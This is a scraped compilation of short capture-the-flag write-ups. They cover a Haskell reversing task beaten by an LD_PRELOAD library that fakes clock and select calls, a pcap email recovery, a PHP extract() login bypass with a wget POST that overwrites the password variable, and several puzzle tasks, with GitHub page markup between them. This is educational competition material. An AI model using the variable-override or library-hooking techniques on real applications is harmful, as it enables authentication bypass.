3-3.5S14.5 6 13 6z"></path></svg>Write-up</h2>Looking at the strings contained inside the binary, it is easy to identify that it was written in Haskell and compiled using GHC 7.10.3.Trying to disassemble the file is a nightmare due to the lack of appropriate tooling for Haskell reverse engineering. GHC generated code adopts calling convention and stack usage patterns which are very different from the usual, and lazy evaluation introduces lots of hard-to-follow indirections.However, as we already know what the program is supposed to do, we can restrict our analysis to how it interacts with the operating system and how we can patch this interaction in order to change its behavior appropriately.Using ltrace and reading the GHC event manager implementation source code can help understanding how the program manages I/O and accounts for time.$ ltrace ./Auswahlen[...]clock_gettime(1, 0x7ffe500762d0, 1, -112) = 0select(1, 0x7ffe50076320, 0x7ffe500763a0, 0)Further analysis of select and clock_gettime usage (inspected by GDB or by a specially crafted LD_PRELOAD library) shows that delays between starcrosses are achieved by means of the timeout argument passed to select. After that, clock_gettime needs to return an acceptable time (less than one second after starcross) in order for the flag to be decoded correctly.Finally, we implement timemachine.c, a LD_PRELOAD library to override these functions, defying the time accounting and also producing automatic echo to the starcrosses.$ makecc -std=gnu99 -O2 -Wall -fPIC -c -o timemachine.o timemachine.ccc -fPIC -shared timemachine.o -o timemachine.soLD_PRELOAD=./timemachine.so ./Auswahlen*[...]*CTF-BR{GNDYd8ySt3_congrats_7qA7TuWBlK}<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Other write-ups and resources</h2>Challenge source code</article> </div>
Category: ReversePoints: 120Solves: 1Description:
The Club conducts a rigid and cruel training with their future agents.An exam is applied in which the student needs to stay awaken andconcentrated during 72h looking to a computer screen. Everytime anasterisk appears in the screen, he needs to press the RETURN keywithin one second. The student doesn’t know if he was able to complywith the reaction time required by the exam until the end of those 72h,increasing his anxiety and psychological pressure level. Elapsedthe 72h, the student receives an approval flag if he succeeded.Otherwise, all of its vital life is absorbed by the Club leaders,producing an slow and painful death.
Looking at the strings contained inside the binary, it is easy to identify that it was written in Haskell and compiled using GHC 7.10.3.
Trying to disassemble the file is a nightmare due to the lack of appropriate tooling for Haskell reverse engineering. GHC generated code adopts calling convention and stack usage patterns which are very different from the usual, and lazy evaluation introduces lots of hard-to-follow indirections.
However, as we already know what the program is supposed to do, we can restrict our analysis to how it interacts with the operating system and how we can patch this interaction in order to change its behavior appropriately.
Using ltrace and reading the GHC event manager implementation source code can help understanding how the program manages I/O and accounts for time.
Further analysis of select and clock_gettime usage (inspected by GDB or by a specially crafted LD_PRELOAD library) shows that delays between starcrosses are achieved by means of the timeout argument passed to select. After that, clock_gettime needs to return an acceptable time (less than one second after starcross) in order for the flag to be decoded correctly.
Finally, we implement timemachine.c, a LD_PRELOAD library to override these functions, defying the time accounting and also producing automatic echo to the starcrosses.
</div>
<details class="details-reset details-overlay details-overlay-dark"> <summary data-hotkey="l" aria-label="Jump to line"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast linejump" aria-label="Jump to line"> </option></form><form class="js-jump-to-line-form Box-body d-flex" action="" accept-charset="UTF-8" method="get"> <input class="form-control flex-auto mr-3 linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line…" aria-label="Jump to line" autofocus> <button type="submit" class="btn" data-close-dialog>Go</button></form> </details-dialog> </details>
<div class="Popover anim-scale-in js-tagsearch-popover" hidden data-tagsearch-url="/epicleet/write-ups-2016/find-symbols" data-tagsearch-ref="pwn2win-ctf-2016" data-tagsearch-path="pwn2win-ctf-2016/reverse/Auswahlen-120/README.md" data-tagsearch-lang="Markdown" data-hydro-click="{"event_type":"code_navigation.click_on_symbol","payload":{"action":"click_on_symbol","repository_id":54845624,"ref":"pwn2win-ctf-2016","language":"Markdown","originating_url":"https://github.com/epicleet/write-ups-2016/blob/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/Auswahlen-120/README.md","user_id":null}}" data-hydro-click-hmac="6f8be7967481c49f6792c2300fa3d491cf48c48281e19caafc06397389fc9542"> <div class="Popover-message Popover-message--large Popover-message--top-left TagsearchPopover mt-1 mb-4 mx-auto Box box-shadow-large"> <div class="TagsearchPopover-content js-tagsearch-popover-content overflow-auto" style="will-change:transform;"> </div> </div></div>
</div></div>
</main> </div>
</div>
<div class="footer container-lg width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 text-gray border-top border-gray-light "> © 2020 GitHub, Inc. Terms Privacy Security Status Help
<svg height="24" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 000 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 00.01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> You can’t perform that action at this time. </div>
<script crossorigin="anonymous" async="async" integrity="sha512-WcQmT2vhcClFVOaaAJV/M+HqsJ2Gq/myvl6F3gCVBxykazXTs+i5fvxncSXwyG1CSfcrqmLFw/R/bmFYzprX2A==" type="application/javascript" id="js-conditional-compat" data-src="https://github.githubassets.com/assets/compat-bootstrap-59c4264f.js"></script> <script crossorigin="anonymous" integrity="sha512-6XBdUZGib4aqdruJTnLMOLpIh0VJsGlgQ7M3vndWJIH6YQNv+zqpo1TbCDzjHJ+YYEm4xkEinaY0VsemDUfi9A==" type="application/javascript" src="https://github.githubassets.com/assets/environment-bootstrap-e9705d51.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-EDN3kiqMVKpDXq6euD9tcIPeh3xqtWzCcm8mqqLAZOkXwdMo0hSA8Bfg0NqZ8c2n51yU4SlSal3hqgdrus+M2A==" type="application/javascript" src="https://github.githubassets.com/assets/vendor-10337792.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-CcKFBqQZKOCZU5otP6R8GH2k+iJ3zC9r2z2Iakfs/Bo9/ptHy6JIWQN3FPhVuS3CR+Q/CkEOSfg+WJfoq3YMxQ==" type="application/javascript" src="https://github.githubassets.com/assets/frameworks-09c28506.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-7Evx/cY3o6cyoeTQc+OX5n6X4k+wTJkQnAyjtmpge6F3Hgw511TPF+N0BFvn3IZLaQro6kyC/f0dqhklyssNow==" type="application/javascript" src="https://github.githubassets.com/assets/github-bootstrap-ec4bf1fd.js"></script> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 000 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 00.01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default text-gray-dark hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box box-shadow-large" style="width:360px;"> </div></div>
<div aria-live="polite" class="js-global-screen-reader-notice sr-only"></div>
</body></html>
|
#the stuff
We are given a pcap with a lot of Bing searches about why cilantro tastes like soap. Opening the stream in Wireshark, we notice that there are some SMTP packets at the top, one of which mentions "the stuff".
If we right-click on an SMTP packet and click "Follow TCP Stream" we can read the entire email:
```220 wren.wv.cc.cmu.edu Python SMTP proxy version 0.2EHLO [192.168.120.138]502 Error: command "EHLO" not implementedHELO [192.168.120.138]250 wren.wv.cc.cmu.eduMAIL FROM:<[email protected]>250 OkRCPT TO:<[email protected]>250 OkDATA354 End data with <CR><LF>.<CR><LF>Message-ID: <1460851088.7821.1.camel@ubuntu>Subject: The StuffFrom: John Doe <[email protected]>To: [email protected]Date: Sat, 16 Apr 2016 16:58:08 -0700Content-Type: multipart/mixed; boundary="=-zAAY+FBv9yZgwoZy4KHy"X-Mailer: Evolution 3.10.4-0ubuntu2 Mime-Version: 1.0
--=-zAAY+FBv9yZgwoZy4KHyContent-Type: text/plainContent-Transfer-Encoding: 7bit
Yo, I got the stuff.
--=-zAAY+FBv9yZgwoZy4KHyContent-Type: application/zip; name="flag.zip"Content-Disposition: attachment; filename="flag.zip"Content-Transfer-Encoding: base64
UEsDBBQACQAIAHGBkEjDELQcOSoAAFk3AAAIABwAZmxhZy5qcGdVVAkAA6XGElfKxhJXdXgLAAEE6AMAAAToAwAAcu3qNOrf/ikOGiuwzSTfpxNkjsV6RU5ygGcK3CdWBI5s486P2jSZZMCE1dsgcB5C...... <more stuff here>...Z1VUBQADpcYSV3V4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAE4AAACLKgAAAAA=
--=-zAAY+FBv9yZgwoZy4KHy--
.250 OkQUIT221 Bye```
The base-64 encoded text seems to be an attachment called `file.zip`. Once we base-64 decode the string back to a zip file and try to open it, we realize that it is password-protected.
Going back to Wireshark, we use the filter `smtp` to filter out non-SMTP packets. We then notice a second SMTP stream:
```220 wren.wv.cc.cmu.edu Python SMTP proxy version 0.2EHLO [192.168.120.138]502 Error: command "EHLO" not implementedHELO [192.168.120.138]250 wren.wv.cc.cmu.eduMAIL FROM:<[email protected]>250 OkRCPT TO:<[email protected]>250 OkDATA354 End data with <CR><LF>.<CR><LF>Message-ID: <1460851191.7821.2.camel@ubuntu>Subject: Wait, hang onFrom: John Doe <[email protected]>To: [email protected]Date: Sat, 16 Apr 2016 16:59:51 -0700Content-Type: text/plainX-Mailer: Evolution 3.10.4-0ubuntu2 Mime-Version: 1.0Content-Transfer-Encoding: 7bit
Yo, you'll need this too: super_password1
.250 OkQUIT221 Bye```
The password for the zip is `super_password1`, and opening the zip yields the image:
![flag](https://github.com/TechSecCTF/writeups/blob/master/plaidctf2016/thestuff/flag.jpg)
The flag is: `PCTF{LOOK_MA_NO_SSL}`. |
#Ducks
##[The ducks](http://ducks.sctf.michaelz.xyz/) and I have a unfinished score to settle.
Hint: If you've remember HSF, you'll know that The Ducks is unsolvable.
This one was quite easy: since it gave us the [source code of the page](http://ducks.sctf.michaelz.xyz/source.php) we could see that it uses the [PHP extract()](http://stackoverflow.com/questions/829407/what-is-so-wrong-with-extract) function.
Our goal was then to send a POST that would override the `thepassword_123` variable:
`wget -qO- --post-data="pass=abc&thepassword_123=abc" http://ducks.sctf.michaelz.xyz/`
and within the output, there it is:
```<h1>The Ducks</h1><div class="alert alert-success">sctf{maybe_i_shouldn't_have_extracted_everything_huh}</div>```
|
# A...mazeing (Network / PPC, 200) (16 solvers) Hi!. let's play old nes game. I just plugged this stuff to tcp ports for ya ... IP: amazeing.hackable.software
![schematic](img.png)
In this task we were told that there is a service runnning a gameand several TCP ports represent pressing various buttons on SNEScontroller.
Connecting to the main server gave us game token and a position.Connecting to other ports and sending the token made the main serversend us an OK message (or failed one). We quickly thought it may be some kind of maze or something, so we wrote a quick python script(`doit.py`) which discovers whole board using DFS - note that we had to increase stack limit.
Drawing the board gives us the following image with the flag hidden on the bottom right corner:
![flag](flag.png) |
# LenghtyLingo## Description:Can you crack the code? We intercepted this flag but can't seem to figure out how it was encrypted.
The solution is quite simple. You have to count the length of each word, then convert it's number to ascii.I've came up with this one-liner:
``sed 's/, /\n/g' encrypted.dat | while read i; do printf "\x$(printf %x ${#i})"; done`` |
# morset (Misc, 50pts, 86 solves) A mysterious signal… can you decode it? Running at morset.pwning.xxx:11821
In this task we were told to conenct to certain server. The server sent us somedots and dashes, so we immediately thought it could be Morse code. Decoding it, though,gave us some gibberish alfanumeric string. They were generally very different, butsometimes they were pretty similar. For example:```AIDQJB34I3OA5B0BVLPE3OGV6XX23TTIGE6I451CC6V0VPWVWWGL1123EL2K56OS6R3W123WF2B0P90XH6NAIDQJB34I3OA5B0BVLPE3OGV6XX23TTIGE6I451CC6V0VPWVWWGL1123EL2K56OS6R41GDX88YQMO172Z3Z```We thought it could be some constant start of the message followed by some challenge.
Finally, we came up with an idea how to decode this text - since this was neither base64nor base32, it could be base36! Used alphabet was `0-9A-Z`.Final decoding and encoding code is in `doit.py` - it turns outserver was sending us questions such as "What is SHA256(grapefruit1234)?". After sendinganswer in the same format, we got the flag. |
# the stuff (Misc, 50pts, 219 solves) Can you believe Ryan uses Bing?
The pcap file we got, contained a mail exchange. In one of the mails, there wasa password, and the other one contained an attached zip file. Opening it usingpassword we had, gave us flag.
![screenshot](img.png) |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>write-ups-2015/PlaidCTF/Pwn/fixedpoint at master · TUCTF/write-ups-2015 · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="CB75:8CC1:158FA754:16312504:64122968" data-pjax-transient="true"/><meta name="html-safe-nonce" content="6745349b6419cc7a8e32873da45b4a48a5ebf3df9d2638aa0b576dc55dcde7e9" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDQjc1OjhDQzE6MTU4RkE3NTQ6MTYzMTI1MDQ6NjQxMjI5NjgiLCJ2aXNpdG9yX2lkIjoiMTM2Mjg3NDcwMzMwODUzMjA3MiIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="ecec662ddb28a1c71f960c240643d93f7e92a423421d3d1f3c4ebf42c0063c3d" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:33342134" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Repository for TU's CTF team write-ups. Contribute to TUCTF/write-ups-2015 development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5f37fd6c853dd593a35eb33af79ddb0b48994633530b1b5da2cb1c87e206bcb0/TUCTF/write-ups-2015" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="write-ups-2015/PlaidCTF/Pwn/fixedpoint at master · TUCTF/write-ups-2015" /><meta name="twitter:description" content="Repository for TU's CTF team write-ups. Contribute to TUCTF/write-ups-2015 development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/5f37fd6c853dd593a35eb33af79ddb0b48994633530b1b5da2cb1c87e206bcb0/TUCTF/write-ups-2015" /><meta property="og:image:alt" content="Repository for TU's CTF team write-ups. Contribute to TUCTF/write-ups-2015 development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="write-ups-2015/PlaidCTF/Pwn/fixedpoint at master · TUCTF/write-ups-2015" /><meta property="og:url" content="https://github.com/TUCTF/write-ups-2015" /><meta property="og:description" content="Repository for TU's CTF team write-ups. Contribute to TUCTF/write-ups-2015 development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/TUCTF/write-ups-2015 git https://github.com/TUCTF/write-ups-2015.git">
